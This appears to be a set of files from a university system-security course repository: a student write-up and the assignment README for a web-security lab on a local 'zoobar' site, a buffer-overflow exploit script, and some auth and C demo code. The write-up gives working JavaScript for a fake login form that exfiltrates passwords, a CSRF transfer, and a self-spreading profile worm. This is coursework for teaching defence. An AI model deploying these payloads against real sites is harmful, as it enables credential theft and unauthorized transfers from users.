submission:**\n![](https://i.imgur.com/ipdJuMD.png)\n\n\n### Exercise 10\nIn this part, we will return an alert with the password upon submission. This is done via the `onSubmit` handler method on the form, which is triggered when form submission takes place. In this case, the event handler is set to execute the `malicousSubmit()` method we created below. \n\n\n```javascript=\nfunction maliciousSubmit(e) {\n alert(\"password: \" + document.getElementsByName('login_password')[0].value)\n }\n```\n\nThe password is acheived form the document, via a DOM query on the name `login_password` name. \n\n\n![](https://i.imgur.com/5lEZ7id.png)\n\n\n### Exercise 11\n\nIn exercise 11, we tweak our code slightly to trigger an email send, instead of having the alert. Here, we changed the `maliciousSubmit()` function as such:\n\n```javascript=\n\nfunction maliciousSubmit(event) {\n event.preventDefault()\n function execEmail() {\n (new Image()).src='http://127.0.0.1:8000?' + '[email protected]' + '&payload=' + encodeURIComponent(document.getElementsByName('login_password')[0].value)+ '&random=' + Math.random()\n\n }\n execEmail()\n\n setTimeout(function (){\n var formContext = document.getElementsByName(\"loginform\")[0]\n formContext.submit()\n }, 2000)\n\n \n }\n```\n\n- In the method above, we made sure to encode the password so that it will pass as a valid HTTP request to the flask server implementing the email service\n- We also added a `setTimeout` function that runs after `2s`. This function will allow the form to be submitted properly once an email has been sent to us. \n\n\n**Result**\n![](https://i.imgur.com/8NGXSRe.png)\n![](https://i.imgur.com/q4juc8b.png)\n\n\n### Exercise 12\nOne of the problems in exercise 11 is that there are 2 different submit options available in the form. Hence, we noted below that a critical parameter in the from becomes missing, as a result of utilising `formContext.submit()`\n\n**Normal login**: \n![](https://i.imgur.com/Bie3g3O.png)\n**Exercise 11 login**: \n![](https://i.imgur.com/QGUbTaN.png)\n\nThus, to fix this, we had to ensure that the parameter `submit_login: Log in`. While we initially explored the idea of modifying the form content, we realised that it was far easier to trigger a phantom click on the form. Below shows the code\n\n```javascript=\nfunction maliciousSubmit(event) {\n event.preventDefault()\n\n function execEmail() {\n (new Image()).src='http://127.0.0.1:8000?' + '[email protected]' + '&payload=' + encodeURIComponent(document.getElementsByName('login_password')[0].value)+ '&random=' + Math.random()\n \n }\n execEmail()\n setTimeout(function (){\n // just do a click to set the value - easiest solution\n var formContext = document.getElementsByName(\"loginform\")[0]\n // remove the feedback loop onsubmit - fallback to original submit\n formContext.removeAttribute('onsubmit')\n // manually click the login button\n document.getElementsByName(\"submit_login\")[0].click()\n }, 3000)\n \n \n }\n\n```\nIt is important to note that we removed the `onsubmit` attribute immediately when the email is sent out. This is so as unlike previously, we are actually re-triggering the `onsubmit` method again when we simulate the click on the `Submit Login` button. Had we excluded this, we would end up with a never ending loop.\n\n### Exercise 13\nIn exercise 13, we polished up the 2 methods so far in Part B and Part C. Here, we instituted the following:\n1. If a user is logged in -> proceed to siphon his/her balance directly\n2. If a user is not logged in -> proceed to siphon his/her login password\n\nIn this setup, we determine if a user is logged in using the hidden dummy `myZoobars` div. The script `zoobarjs` is called to allow for us to determine if a user does in fact have a logged in session upon visiting the page. Thus the flow becomes as such\n- If the user has an active session (ie; `document.getElementById(\"myZoobars\")` is not empty, load up the code from Exercise 8, and proceed to reroute to the SUTD webpage\n- If the user does not have an active session, proceed to call the methods previously in Exercise 12, such that we are hence able to siphon the password instead.\n\nIn addition to that, we note that Exercise 13 required a fully setted up page, where the CSS mattered. This was trivially accomplished by coopying over the CSS scripts and idenitifers from the actual html page.\n\nHere is the javascript code in detail. The full code is available in `answer-13.html`:\n\n```htmlembedded=\n<script>\n const userZoobar = document.getElementById(\"myZoobars\")\n if (userZoobar.innerHTML) {\n // Run ex 8 code here\n document.getElementsByName(\"transferform\")[0].submit()\n var malIframe = document.getElementById(\"malicious-iframe\")\n malIframe.addEventListener(\"load\", function () {\n window.location = \"https://www.sutd.edu.sg/\"\n })\n } \n \n function maliciousSubmit(event) {\n event.preventDefault()\n \n function execEmail() {\n (new Image()).src='http://127.0.0.1:8000?' + '[email protected]' + '&payload=' + encodeURIComponent(document.getElementsByName('login_password')[0].value)+ '&random=' + Math.random()\n }\n execEmail()\n \n setTimeout(function (){\n var formContext = document.getElementsByName(\"loginform\")[0]\n formContext.removeAttribute('onsubmit') \n document.getElementsByName(\"submit_login\")[0].click()\n }, 1000)\n \n }\n </script>\n\n\n```\n**A complete CSS clone of the original**\n![](https://i.imgur.com/hfNtlRw.png)\n\n\n## Part D: Profile worm\n### Exercise 14\n\nInspecting profile page:\nProfile content is stored in:\n```\n<div id=\"profile\"><b>text</b></div>\n```\n\nInspect transfer request:\n![Uploading file..._scwsahq9j]()\n![](https://i.imgur.com/iLRUnmm.png)\n\nInspect profile update request:\n![](https://i.imgur.com/w6qKvNh.png)\n![](https://i.imgur.com/kCHaXXw.png)\n\n\nThe final javascript injected html code is as follows:\n```htmlembedded=\n<script id=\"worm\">\n\n window.onload = function () {\n\n var headerTag = '<script id=\"worm\" type=\"text/javascript\">';\n var jsCode = document.getElementById(\"worm\").innerHTML;\n var tailTag = \"</\" + \"script>\";\n\n var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);\n\n document.getElementById(\"profile\").appendChild(document.createTextNode(\"Scanning for viruses...\"));\n\n var AjaxTransfer = null;\n AjaxTransfer = new XMLHttpRequest();\n AjaxTransfer.open(\"POST\", \"http://localhost:8080/zoobar/index.cgi/transfer\", true);\n AjaxTransfer.setRequestHeader(\n \"Content-Type\", \"application/x-www-form-urlencoded\"\n )\n AjaxTransfer.setRequestHeader(\n \"Referer\", \"http://localhost:8080/zoobar/index.cgi/transfer\"\n )\n AjaxTransfer.send(\"zoobars=1&recipient=attacker&submission=Send\");\n\n var AjaxProfile = null;\n AjaxProfile = new XMLHttpRequest();\n AjaxProfile.open(\"POST\", \"http://localhost:8080/zoobar/index.cgi/\", true);\n AjaxProfile.setRequestHeader(\n \"Content-Type\", \"application/x-www-form-urlencoded\"\n )\n AjaxProfile.setRequestHeader(\n \"Referer\", \"http://localhost:8080/zoobar/index.cgi/\"\n )\n AjaxProfile.send(\"profile_update=\" + wormCode + \"&profile_submit=Save\");\n }\n\n</script>\n```\n\nFor demonstration, account `alex` is created and has the worm code\n![](https://i.imgur.com/ZXNnbd6.jpg)\n\nAccount `1234` visits `alex` profile:\n![](https://i.imgur.com/LIcvLqG.jpg)\nIt automatically makes Ajax POST request to transfer and change profile description based on the network requests.\n\nChecking home, shows that zoobars are transferred out, and the profile contains the worm code:\n\n![](https://i.imgur.com/r9aIQwg.jpg)\n\nHence, it shows that the profile worm is working as intended.\n\n\n## Check results \n\n![](https://i.imgur.com/U4RCVgE.png)\n![](https://i.imgur.com/0mJORBQ.png)\n" }, { "alpha_fraction": 0.6583991050720215, "alphanum_fraction": 0.6753100156784058, "avg_line_length": 34.47999954223633, "blob_id": "8bfa1ca70e0b493badf4e2a610d91a7236a56b0e", "content_id": "db5a7fbecd0afd5ca94d2d28a2e76dd5530b5cf6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 887, "license_type": "no_license", "max_line_length": 79, "num_lines": 25, "path": "/tutorials/session3/exploit.py", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\nimport os, sys, struct \naddr_buffer = 0x7fffffffece0 \naddr_retaddr = 0x7fffffffed68\n# We want buffer to first hold the shellcode \nshellfile = open(\"shellcode.bin\", \"rb\") \nshellcode = shellfile.read() # Then we want to pad up until the return address \nshellcode += b\"A\" * ((addr_retaddr - addr_buffer) - len(shellcode)) \n# Then we write in the address of the shellcode.\n# struct.pack(\"<Q\") writes out 64-bit integers in little-endian. \nshellcode += struct.pack(\"<Q\", addr_buffer)\n# write the shell code out to the waiting vulnerable program \nfp = os.fdopen(sys.stdout.fileno(), 'wb') \nfp.write(shellcode) \nfp.flush()\n# forward user's input to the underlying program \nwhile True: \n try: \n data = sys.stdin.buffer.read1(1024) \n if not data: \n break \n fp.write(data) \n fp.flush() \n except KeyboardInterrupt: \n break\n" }, { "alpha_fraction": 0.6297872066497803, "alphanum_fraction": 0.6425532102584839, "avg_line_length": 23.909090042114258, "blob_id": "8f4e0b8b0181e19482ea073813cda08a01bfcc86", "content_id": "88f8629fda56217c05fda0c1d46a9cb60953f23c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1645, "license_type": "permissive", "max_line_length": 97, "num_lines": 66, "path": "/lab2_priv_separation/zoobar/auth.py", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "from zoodb import *\nfrom debug import *\n\nimport hashlib\nimport random\nimport pbkdf2\nimport os\n\n# -- Move to auth service -- apparently no need and idk why lol\ndef newtoken(db, cred):\n hashinput = \"%s%.10f\" % (cred.password, random.random())\n cred.token = hashlib.md5(hashinput).hexdigest()\n db.commit()\n return cred.token\n\n# -- Move to auth service\ndef login(username, password):\n db = cred_setup()\n cred = db.query(Cred).get(username)\n \n if not cred:\n return None\n # Modified for Task 6\n if cred.password == pbkdf2.PBKDF2(password, cred.salt).hexread(32):\n return newtoken(db, cred)\n else:\n return None\n\n# -- Move to auth service\ndef register(username, password):\n \n db_person = person_setup()\n db_cred = cred_setup()\n \n person = db_person.query(Person).get(username)\n if person:\n return None\n # Create Person\n newperson = Person()\n newperson.username = username\n # Create the cred - Modified for Task 6\n salt = os.urandom(8).encode('base-64') # 64 bit salt, not a unicode string - so encode as b64\n password_hash = pbkdf2.PBKDF2(password, salt).hexread(32)\n newcred = Cred()\n newcred.password = password_hash\n newcred.username = username\n newcred.salt = salt\n # Commit changes\n db_person.add(newperson)\n db_person.commit()\n\n db_cred.add(newcred)\n db_cred.commit()\n\n \n \n return newtoken(db_cred, newcred)\n\n# -- Move to auth service\ndef check_token(username, token):\n db = cred_setup()\n cred = db.query(Cred).get(username)\n if cred and cred.token == token:\n return True\n else:\n return False\n\n" }, { "alpha_fraction": 0.5562130212783813, "alphanum_fraction": 0.5680473446846008, "avg_line_length": 13.083333015441895, "blob_id": "c8c91d1fda354e5661706ce83967427b472de430", "content_id": "de7b44049cec627d93f3f845c58f17cba358f863", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 169, "license_type": "no_license", "max_line_length": 33, "num_lines": 12, "path": "/demo/memerror/nocleanup.c", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "int foo() {\n\tchar data[8];\n\tputs(\"do nothing\");\n}\nint bar() {\n\tchar secret[8]=\"aaaaaa\";\n\tputs(\"cannot see this!\");\n}\nint main(int argc, char **argv) {\n\tbar();\n\tfoo();\n}\n" }, { "alpha_fraction": 0.7356929183006287, "alphanum_fraction": 0.7466656565666199, "avg_line_length": 80.52710723876953, "blob_id": "c22ff0baa730493b58c0d2dfdddabef639a5b846", "content_id": "05a52ecc1e8b4ec7695bcd941370b70016bcb38a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 27067, "license_type": "permissive", "max_line_length": 873, "num_lines": 332, "path": "/documentation/docs/labs/lab3/README.md", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "# Lab 3 - Web Security\n\n<font size=\"5\"> Due: 15/08/2021, 23:59pm </font>\n\n## Introduction\n\nThis lab will introduce you to browser-based attacks, as well as to how one might go about preventing them. The lab has several parts:\n\n- Part A: Cross-site scripting attack\n- Part B: Cross-site request forgery\n- Part C: Side channel and phishing attack\n- Part D: Profile worm\n\nEach part has several exercises that help you build up an attack. All attacks will involve exploiting weaknesses in the zoobar site, but these are representative of weaknesses found in real web sites.\n:::tip <p></p>\n\n### Requirement\n\n#### We strongly recommend that you develop and test your code on Firefox.\n\nThere are subtle quirks in the way HTML and JavaScript are handled by different browsers, and some attacks that work or do not work in Internet Explorer or Chrome (for example) may not work in Firefox.\nWe will grade your attacks with default settings using the current version of Mozilla Firefox.\n\n:::\n\n### Network setup\n\nFor this lab, you will be crafting attacks in your web browser that exploit vulnerabilities in the zoobar web application. To ensure that your exploits work on our machines when we grade your lab, we need to agree on the URL that refers to the zoobar web site. For the purposes of this lab, your zoobar web site must be acessible on `http://localhost:8080/`. If you have been using the default VM's, this configuration should work out of the box.\n\n### Setting up the web server\n\nBefore you begin working on these exercises, please use Git to commit your Lab 3 solutions, fetch the latest version of the course repository, and then create a local branch called `lab3` based on our lab3 branch, `origin/lab3`. Do _not_ merge your lab 2 into lab 3. Here are the shell commands:\n\n```bash\nhttpd@istd:~$ cd labs/lab3_web_security\nhttpd@istd:~/labs/lab3_web_security$ make\n...\n```\n\nNote that lab 3's source code is based on the initial web server from lab 1. It does not include privilege separation or Python profiles.\n\nNow you can start the `zookws` web server, as follows.\n\n```bash\nhttpd@istd:~/labs/lab3_web_security$ ./zookld\n```\n\nOpen your browser and go to the URL `http://localhost:8080/`. You should see the `zoobar` web application. If you don't, go back and double-check your steps. If you cannot get the web server to work, get in touch with course staff before proceeding further.\n\n### Crafting attacks\n\nYou will craft a series of attacks against the `zoobar` web site you have been working on in previous labs. These attacks exploit vulnerabilities in the web application's design and implementation. Each attack presents a distinct scenario with unique goals and constraints, although in some cases you may be able to re-use parts of your code.\n\nWe will run your attacks after wiping clean the database of registered users (except the user named \"attacker\"), so do not assume the presence of any other users in your submitted attacks.\n\nYou can run our tests with `make check`; this will execute your attacks against the server, and tell you whether your exploits are working correctly. As in previous labs, keep in mind that the checks performed by `make check` are not exhaustive, especially with respect to race conditions. You may wish to run the tests multiple times to convince yourself that your exploits are robust.\n\nExercises 5, 13, and 14, require that the displayed site look a certain way. The `make check` script is not smart enough to compare how the site looks with and without your attack, so you will need to do that comparison yourself (and so will we, during grading). When `make check` runs, it generates reference images for what the attack page is _supposed_ to look like (`answer-XX.ref.png`) and what your attack page actually shows (`answer-XX.png`), and places them in the `lab3-tests/` directory. Make sure that your `answer-XX.png` screenshots look like the reference images in `answer-XX.ref.png`. To view these images from `lab3-tests/`, copy them to your local machine, or open them via the VSCode online editor exposed by the VM ([http://127.0.0.1:3000/](http://127.0.0.1:3000/)).\n\n## A) Cross-site scripting (XSS) attack\n\nThe zoobar users page has a flaw that allows theft of a logged-in user's cookie from the user's browser, if an attacker can trick the user into clicking a specially-crafted URL constructed by the attacker. Your job is to construct such a URL. An attacker might e-mail the URL to the victim user, hoping the victim will click on it. A real attacker could use a stolen cookie to impersonate the victim.\n\nYou will develop the attack in several steps. To learn the necessary infrastructure for constructing the attacks, you first do a few exercises that familiarize yourself with Javascript, the DOM, etc.\n\n:::tip <p></p>\n\n### Exercise 1\n\n#### Print cookie\n\n1. Read about how [cookies are accessed from Javascript](https://developer.mozilla.org/en-US/docs/Web/API/document.cookie).\n\n2. Save a copy of `zoobar/templates/users.html` (you'll need to restore this original version later). Add a `<script>` tag to `users.html` that prints the logged-in user's cookie using `alert()`.\n\n Your script might not work immediately if you made a Javascript programming error. Fortunately, Chrome has fantastic debugging tools accessible in the Inspector: the JavaScript console, the DOM inspector, and the Network monitor. The JavaScript console lets you see which exceptions are being thrown and why. The DOM Inspector lets you peek at the structure of the page and the properties and methods of each node it contains. The Network monitor allows you to inspect the requests going between your browser and the website. By clicking on one of the requests, you can see what cookie your browser is sending, and compare it to what your script prints.\n\n3. Put the contents of your script in a file named `answer-1.js`. Your file should only contain javascript (don't include `<script>` tags).\n\n:::\n\n:::tip <p></p>\n\n### Exercise 2\n\n#### Email cookie\n\nModify your script so that it emails the user's cookie to the attacker (your email). The attack should still be triggered when the user visit the \"Users\" page.\n\n##### Email Server\n\nYou need to create your own email server so it can receive requests (the cookies) from the client side javascript and send them to your email. You can create this server by modifying the flask server template available on [lab3_web_security/flask_server_template.py](https://gitlab.com/istd50044/labs/-/blob/master/lab3_web_security/flask_server_template.py). This template starts a webserver on address 127.0.0.1 (localhost) and port 8000 by default and receives the parameters `to` and `payload` passed through the URL (example below). You can add the missing emailing code by using some library or API service which allows the webserver to send emails with the payload contents. We recommend use of [SendGrid](https://www.twilio.com/blog/how-to-send-emails-in-python-with-sendgrid) API to facilitate this task, but you can use any library or webserver for this exercise.\n\n##### Email Script\n\nAfter the email server is done, you can send automated email from client-side JavaScript. For example, clicking this client-side hyperlink should cause the email server to send the user's cookie to your email.\n\n<a href=\"javascript:void((new Image()).src='http://127.0.0.1:8000?' + 'to=your-email' + '&payload=some-string' + '&random=' + Math.random())\">(new Image()).src=http://127.0.0.1:8000?' + 'to=your-email' + '&payload=some-string' + '&random=' + Math.random();</a>\n\nYou should receive some debug messages on the terminal running the email server to confirm if you are receiving user's cookies.\n\n![flask_template](/labs/labs/flask_template.png)\n\nThe random argument is ignored, but ensures that the browser bypasses its cache when downloading the image. We suggest that you use the random argument in your scripts as well. Newlines are not allowed in `javascript:links;`. If this bothers you, try [URL encoding](https://meyerweb.com/eric/tools/dencoder/).\n\nNote that the cookie has characters that likely need to be URL encoded. Take a look at [`encodeURIComponent`](https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/encodeURIComponent) and [`decodeURIComponent`](https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/decodeURIComponent).\n\nWhen you have a working script, put it in a file named `answer-2.js`. Your file should only contain javascript (don't include `<script>` tags).\n\n:::\n\n:::tip <p></p>\n\n### Exercise 3\n\n##### Remote execution\n\nFor this exercise, the JavaScript you inject should call `alert()` to display the victim's cookies. In subsequent exercises, you will make the attack do more nefarious things. Before you begin, you should restore the original version of `zoobar/templates/users.html`.\n\nFor this exercise, we place some restrictions on how you may develop your exploit. In particular:\n\n- Your attack can not involve any changes to zoobar.\n- Your attack can not rely on the presence of any zoobar account other than the victim's.\n- Your solution must be a URL starting with [http://localhost:8080/zoobar/index.cgi/users?](http://localhost:8080/zoobar/index.cgi/users?).\n\nWhen you are done, cut and paste your URL into the address bar of a logged in user, and it should print the victim's cookies (don't forget to start the zoobar server: `./zookld answer-3.txt`\n\n**Hint**: You will need to find a cross-site scripting vulnerability on `/zoobar/index.cgi/users`, and then use it to inject Javascript code into the browser. What input parameters from the HTTP request does the resulting `/zoobar/index.cgi/users` page display? Which of them are not properly escaped?\n\n**Hint**: Is this input parameter echo-ed (reflected) verbatim back to victim's browser? What could you put in the input parameter that will cause the victim's browser to execute the reflected input? Remember that the HTTP server performs URL decoding on your request before passing it on to zoobar; make sure that your attack code is URL-encoded (e.g. use `+` instead of space, and `%2b` instead of `+`). This [URL encoding reference](http://www.blooberry.com/indexdot/html/topics/urlencoding.htm) and this [conversion tool](https://meyerweb.com/eric/tools/dencoder/) may come in handy.\n\n**Hint**: The browser may cache the results of loading your URL, so you want to make sure that the URL is always different while your developing the URL. You may want to put a random argument into your url: `&random=<some random number>`.\n\n:::\n\n:::tip <p></p>\n\n### Exercise 4\n\n##### Steal cookies\n\nModify the URL so that it doesn't print the cookies but emails them to you. Put your attack URL in a file named `answer-4.txt`.\n\n**Hint**: Incorporate your email script from [exercise 2](#exercise-2) into the URL.\n\n:::\n\n:::tip <p></p>\n\n### Exercise 5\n\n##### Hiding your tracks\n\nFor this exercise, you need to modify your URL to hide your tracks. Except for the browser address bar (which can be different), the grader should see a page that looks **exactly** the same as when the grader visits [http://localhost:8080/zoobar/index.cgi/users](http://localhost:8080/zoobar/index.cgi/users). No changes to the site appearance or extraneous text should be visible. Avoiding the _red warning text_ is an important part of this attack (it is ok if the page looks weird briefly before correcting itself). Your script should still send the user's cookie to the sendmail script.\n\nWhen you are done, put your attack URL in a file named `answer-5.txt`.\n\n**Hint**: You will probably want to use CSS to make your attacks invisible to the user. Familiarize yourself with [basic expressions](https://developer.mozilla.org/en/CSS/Getting_Started/Selectors) like `<style>.warning{display:none}</style>`, and feel free to use stealthy attributes like `display: none;` `visibility: hidden;` `height: 0; width: 0;`, and `position: absolute;` in the HTML of your attacks. Beware that frames and images may behave strangely with `display: none`, so you might want to use `visibility: hidden` instead.\n\n:::\n\n## B) Cross-site request forgery (CSRF) attack\n\nIn this part of the lab, you will construct an attack that transfers zoobars from a victim's account to the attacker's, when the victim's browser opens a malicious HTML document. Your HTML document will issue a CSRF attack by sending an invisible transfer request to the zoobar site; the browser will helpfully send along the victim's cookies, thereby making it seem to zoobar as if a legitimate transfer request was performed by the victim.\n\nFor this part of the lab, you should not exploit cross-site scripting vulnerabilities (where the server reflects back attack code), such as the one involved in part 1 above, or any of the logic bugs in `transfer.py` that you fixed in lab 3.\n\n:::tip <p></p>\n\n### Exercise 6\n\n##### Make a transfer zoobar form\n\nWe will first write our own form to transfer zoobars to the \"attacker\" account. This form will be a replica of zoobar's transfer form, but tweaked so that submitting it will always transfer ten zoobars into the account of the user called \"attacker\". First, we need to do some setup:\n\n1. Create an account on the zoobar site and click on transfer. View the source of this page (in Chrome, go to the Tools menu and click on \"View source\"). Copy the form part of the page (the part enclosed in `<form>` tags) into `answer-6.html` on your machine. Alternatively, copy the form from `zoobar/templates/transfer.html`. Prefix the form's \"action\" attribute with `http://localhost:8080`.\n2. Set up the destination account on the zoobar site: create an account called \"attacker\" on the zoobar site with any password, then log out of the attacker account, and log back into your own account.\n3. Load `answer-6.html` into your browser using the \"Open file\" menu. After opening, the URL in the address bar will be something of the form `file://.../answer-6.html`. This form should now function identically to the legitimate Zoobar transfer form.\n\nNow, tweak ` answer-6.html``<input> `\n\n**Hint**: You might find the [`` HTML element](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/base) useful to avoid having to rewrite lots of URLs.\n\n:::\n\n:::tip <p></p>\n\n### Exercise 7\n\n##### Submit form on load\n\nFor our attack to have a higher chance of succeeding, we want the CSRF attack to happen automatically; when the victim opens your HTML document, it should programmatically submit the form, requiring no user interaction. Your goal for this exercise is to add some JavaScript to `answer-6.html` that autoamtically submits the form when the page is loaded.\n\n**Hint**: `document.forms` gives you the forms in the current document, and the `submit()` method on a form allows you to submit that form from JavaScript. Submit your resulting HTML `answer-7.html`.\n\n:::\n\n:::tip <p></p>\n\n### Exercise 8\n\n##### Hiding your tracks\n\nIn the wild, CSRF attacks are usually extremely stealthy. In particular, they take particular care to ensure that the victim cannot tell that something out-of-the-ordinary is happening. To add a similar feature to your attack, modify `answer-7.html` to redirect the browser to `https://www.sutd.edu.sg/` as soon as the transfer is complete (so fast the user might not notice). The location bar of the browser should not contain the zoobar server's name or address at any point. This requirement is important, and makes the attack more challenging. Submit your HTML in a file named `answer-8.html`, and explain why this attack works in comments inside your HTML file (using `<!--` and `-->`. In particular, make sure you explain why the Same-Origin Policy does not prevent this attack.\n\n**Note**: Be sure that you do **not** load the `answer-8.html` file from `http://localhost:8080/...`, because that would place it in the same origin as the site being attacked, and therefore defeat the point of this exercise. When loading the form, you should be using a URL that starts with `file:///`.\n\n**Hint**: You might find the combination of `<iframe>` tags and the `target` [form attribute](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/form#attr-target) useful in making your attack contained in a single page. Remember to hide any iframes you might add using CSS.\n\n**Note**: _Beware of Race Conditions_: Depending on how you write your code, this attack could potentially have race conditions. Attacks that fail on the grader's browser during grading will receive less than full credit. To ensure that you receive full credit, you should wait after making an outbound network request rather than assuming that the request will be sent immediately. You may find using [`addEventListener()`](https://developer.mozilla.org/en/DOM/element.addEventListener) to listen for the `load` event on an `iframe` element helpful.\n\n:::\n\n## C) Fake Login Page\n\nMore sophisticated online attacks often exploit multiple attack vectors. In this part, you will construct an attack that will either (1) steal a victim's zoobars if the user is already logged in (using the attack from exercise 8), or (2) steal the victim's username and password if they are not logged in using a fake login form. As in the last part of the lab, the attack scenario is that we manage to get the user to visit some malicious web page that we control. In this part of the lab, we will first construct the login info stealing attack, and then combine the two into a single malicious page.\n\n:::tip <p></p>\n\n### Exercise 9\n\n##### Make a zoobar login form\n\nCopy the zoobar login form (either by viewing the page source, or using zoobar/templates/login.html) into answer-9.html, and make it work with the existing zoobar site. Much of this will involve prefixing URLs with the address of the web server. This file will be used as a stepping stone to the rest of the exercises in this part, so make sure you can correctly log in to the website using your fake form. Note that you should make no changes to the zoobar code. Submit your HTML in a file named answer-9.html.\n\n:::\n\n:::tip <p></p>\n\n### Exercise 10\n\n##### Intercept form submission\n\nIn order to steal the victim's credentials, we have to look at the form values just as the user is submitting the form. This is most easily done by attaching an event listener (using addEventListener()) or by setting the onsubmit attribtue of a form. For this exercise, use one of these methods to alert the user's password when the form is submitted. Submit your code in a file named answer-10.html.\n\n:::\n\n:::tip <p></p>\n\n### Exercise 11\n\n##### Steal password\n\nPlease note that after implementing this exercise, the attacker controller webpage will no longer redirect the user to be logged in correctly. You will be fixing this issue in Exercise 12.\n\n**Hint**: When a form is submitted, outstanding requests are cancelled as the browser navigates to the new page. This might lead to your request to sendmail.php not getting through. To work around this, consider cancelling the submission of the form using the `preventDefault()` method on the event object passed to the submit handler, and then use `setTimeout()` to submit the form again slightly later. Remember that your submit handler might be invoked again!\n\n:::\n\n:::tip <p></p>\n\n### Exercise 12\n\n##### Hide your tracks\n\n**Hint**: The zoobar application checks _how_ the form was submitted (that is, whether \"Log in\" or \"Register\" was clicked) by looking at whether the request parameters contain `submit_login` or `submit_registration`. Keep this in mind when you forward the login attempt to the real login page.\n\n:::\n\n:::tip <p></p>\n\n### Exercise 13\n\n##### Side Channels and Phishing.\n\nModify answer-12.html so that your JavaScript will steal a victim's zoobars if the user is already logged in (using the attack from Part 2), or otherwise follows exercise 12: ask the victim for their username and password, if they are not logged in, and steal the victim's password. As with the previous exercise, be sure that you do not load the answer-13.html file from http://localhost:8080/.\n\nThe grading script will run the code once while logged in to the zoobar site before loading your page. It will then run the code a second time while _not_ logged in to the zoobar site before loading your page. Consequently, when the browser loads your document, your malicious document should sniff out whether the user is logged into the zoobar site. Submit your final HTML document in a file named `answer-13.html`.\n\n**Hint**: The same-origin policy generally does not allow your attack page to access the contents of pages from another domain. What types of files can be loaded by your attack page from another domain? Does the zoobar web application have any files of that type? How can you infer whether the user is logged in or not, based on this?\n\n:::\n\n## D) Profile Worm\n\nWorms in the context of web security are scripts that are injected into pages by an attacker, and that automatically spread once they are executed in a victim's browser. The [Samy worm](http://web.archive.org/web/20130329061059/http://namb.la:80/popular/tech.html) is an excellent example, which spread to over a million users on the social network MySpace over the course of just 20 hours. In this part of the lab, you will create a similar worm that, upon execution, will transfer 1 zoobar from the victim to the attacker, and then spread to the victim's profile. Thus, any subsequent visit to the victim's profile will cause additional zoobars to be transferred, and the worm to spread again. You will build up your solution in several stages, much like in the previous parts. This time, however, we won't spell out the steps through exercises.\n\n:::tip <p></p>\n\n### Exercise 14\n\n##### Profile Worm\n\n- Your profile worm should be submitted in a file named `answer-14.txt`. To grade your attack, we will cut and paste the submitted profile code into the profile of the \"attacker\" user, and view that profile using the grader's account. We will then view the grader's profile with more accounts, checking for both the zoobar transfer and the replication of profile code.\n\n In particular, we require your worm to meet the following criteria:\n\n - When an infected user's profile is viewed, 1 zoobar is transferred from the viewing user's account into the account of the user called \"attacker\".\n - When a user visits an infected profile, the worm (i.e., the infected profile's code) spreads to the viewing user's profile.\n - An infected profile should display the message **Scanning for viruses...** when viewed, as if that was the entirety of the viewed profile.\n - The transfer and replication should be reasonably fast (under 15 seconds). During that time, the grader will not click anywhere.\n - During the transfer and replication process, the browser's location bar should remain at [http://localhost:8080/zoobar/index.cgi/users?user=username](http://localhost:8080/zoobar/index.cgi/users?user=username), where **username** is the user whose profile is being viewed. The visitor should not see any extra graphical user interface elements (e.g., frames), and the user whose profile is being viewed should appear to have 10 zoobars, and no transfer log entries. These requirements make the attack harder to spot for a user, and thus more realistic, but they make the attack also harder to pull off.\n\n To get you started, here is a rough outline of how to go about building your worm:\n\n - Make a profile for the attacker to familiarize yourself with how profiles work in zoobar. You should inspect the source to get a feel for the layout of the HTML, both when editing your own profile, and when viewing someone else's.\n - Modify your profile to transfer a zoobar from the user visiting the profile to the \"attacker\" account.\n - Hide any tracks that the victim might observe.\n - Arrange for the profile to be replicated\n\n This [detailed analysis of the MySpace worm](https://seclists.org/vuln-dev/2006/Apr/14)\n\n **Note**: Don't consider the corner case where the user viewing the profile has no zoobars to send.\n\n **Hint 1**: In this exercise, as opposed to the previous ones, your exploit runs on the same domain as the target site. This means that you are not subject to Same-Origin Policy restrictions, and that you can issue AJAX requests directly using `XMLHttpRequest` instead of `iframes`.\n\n **Hint 2**: For this exercise, you may need to create new elements on the page, and access data inside of them. You may find the DOM methods `document.createElement` and `document.body.appendChild` useful for this purpose.\n\n **Hint 3**: If you choose to use `iframes` in your solution, you may want to get access to form fields inside an `iframe`. Exactly how you do so differs by browser, but such access is always restricted by the same-origin policy. In Firefox, you can use `iframe.contentDocument.forms[0].some_field_name.value = 1;`\n\n:::\n\nThis completes all parts of this lab. Submit your answers to the first part of this lab assignment by running **make prepare-submit** and uploading the resulting `lab3-handin.tar.gz` file to [edimension](https://edimension.sutd.edu.sg/webapps/login/).\n\n**We would appreciate any feedback you may have on this assignment).**\n\n## Homework Submission\n\nYour submission include the codes (if any) to the exercise, and _one_ short report explaining all of your\nsolutions. The report is in PDF format, named `answers.pdf` and will be given a maximum of three points . Zip all files and upload to eDimension.\n\nUse the following commands to generate the codes for submission. Keep in mind that those commands only compress the files of your lab folder. Make sure that your changes are included in the compressed files according to their respective exercises.\n\n| Exercise | Deliverable | Command |\n| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------- | ----------------------- |\n| [1](#exercise-1),[2](#exercise-2),[3](#exercise-3),[4](#exercise-4),[5](#exercise-5),[6](#exercise-6),[7](#exercise-7),[8](#exercise-8),[9](#exercise-9),[10](#exercise-10),[11](#exercise-11),[12](#exercise-12),[13](#exercise-13),[14](#exercise-14) | `lab3-handin.tar.gz` | **make prepare-submit** |\n\nMake sure you have the following files: `answer-1.js`, `answer-2.js`, `answer-3.txt`, `answer-4.txt`, `answer-5.txt`, `answer-6.html`, 